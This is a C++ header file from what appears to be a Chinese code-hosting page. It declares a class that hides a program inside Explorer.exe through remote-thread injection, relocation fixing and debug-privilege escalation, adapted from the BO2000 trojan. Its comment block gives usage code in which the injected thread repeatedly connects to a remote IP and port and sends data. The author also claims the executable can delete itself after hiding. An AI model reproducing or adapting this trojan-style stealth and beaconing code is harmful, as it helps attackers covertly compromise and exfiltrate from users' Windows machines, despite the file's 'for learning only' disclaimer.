📄 api.h
字号:
#if !defined(AFX_API_H__6665DF87_FB33_45FE_B15C_8FE15D2A832B__INCLUDED_)
#define AFX_API_H__6665DF87_FB33_45FE_B15C_8FE15D2A832B__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
//#include "lsocket.h"
#include "stdio.h"
#include<windows.h>
#include<TlHelp32.h>
//----------------------------------------------------------------
// Debug Message Box
//----------------------------------------------------------------
#ifdef _DEBUG
#define DMsgBox(lpText) MessageBox(NULL,lpText,NULL,NULL)
#else
#define DMsgBox(lpText)
#endif
//----------------------------------------------------------------
// USE for PE file formate
//----------------------------------------------------------------
#define SIZE_OF_NT_SIGNATURE (sizeof(DWORD))
#define OPTHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE+sizeof(IMAGE_FILE_HEADER)))
#define MAX_PROCESS_FIND 100
class CAPI
{
/***********************************************************************
program by bigbencat
mail: liguangyu@china.com
************************************************************
前言:
"BO 出现以后,世界上便出现了千千万万的木马!"
申明:
本代码大多数copy from bo2000!
************************************************************
衷心的希望大家认同:
代码是用来相互学习的,不要用来干坏事!
但经过改进:
bo2000隐藏进程缺点:
1: bo2000 不能动态更换自己的基地址
2: b02000 在 windows 2000/XP/2003 server 中以USER right 工作不稳定,容易使系统Explorer崩溃,
导致隐藏不成功!
3: bo2000 中进程隐藏代码部分不太容易于自己的代码共享!
bo2000
需要在vc中 add Project Settings-->Link--> add /base:"0x03140000"
本代码需要:
需要在vc中 add Project Settings-->Link--> add /FIXED:NO
本代码测试过并稳定成功的操作系统:
win98 cn/win me cn/2000 server cn/XP cn/2003 server en
本人认为win 95/NT/2000 专业版 也应该没有问题。
技术问题:
bo2000用到的技术:
1:API函数覆盖技术(95/98/me)
2:远程线程技术 (nt/2000)
本程序增加的技术
1:软件重定位技术(Relocation),解决user right下不稳定的情况
如果需要,可以在隐藏后删除可执行文件,也就是解决程序自杀的问题
how to use:
1:
Project Settings-->Link--> add /FIXED:NO
2:
#include "API.h"
CAPI g_api;
3:
DWORD WINAPI MyNtRemoteThreadMain(LPVOID lpParameter)
{
g_api.ReloadDLL();
char *sz={"这里是要发送的数据!"};
while(TRUE)
{
Beep(300,1000);
Sleep(1000);
CLSocket sock;
sock.Create();
sock.Connect("192.168.0.56",8899);
sock.Send(sz,strlen(sz));
sock.Close();
//connect()
}
return 0;
}
4:
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
if(g_api.HideProcessIn("Explorer.exe",MyNtRemoteThreadMain))
{
DMsgBox("run ok");
}
else
DMsgBox("run error");
return TRUE;
}
******************************************************************************/
public:
void ReloadDLL();
BOOL HideProcessIn(char* szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess,BOOL bNtHideAll=FALSE);
CAPI();
virtual ~CAPI();
private:
BOOL FixRelocationTable(char* szBuf,long lLen,unsigned long lMyBase,unsigned long lNewBase);
BOOL FixRelocationTable2(char* szBuf,long lLen,unsigned long lMyBase,unsigned long lNewBase);
long HideProcessInNT_2_All(LPTHREAD_START_ROUTINE pMyMainProcess);
struct _s_process_info_{
char szName[MAX_PROCESS_FIND][MAX_PATH];
unsigned long lProcessID[MAX_PROCESS_FIND];
};
Init();
long GetAll(_s_process_info_* spInfo);
long GetNTProcessIDbyName(char* szName);
void GetOSVersion(void);
BOOL m_bIsWinNT; //是否为 2000/NT
HMODULE m_module;//本模块句并 GetModuleHandle
BOOL HideProcessInNT(char* szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess);
BOOL HideProcessInNTbyID(unsigned long lProcessID,LPTHREAD_START_ROUTINE pMyMainProcess);
BOOL HideProcessIn9X(LPTHREAD_START_ROUTINE pMyMainProcess);
BOOL EnableDebugPriv();
};
#endif // !defined(AFX_API_H__6665DF87_FB33_45FE_B15C_8FE15D2A832B__INCLUDED_)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -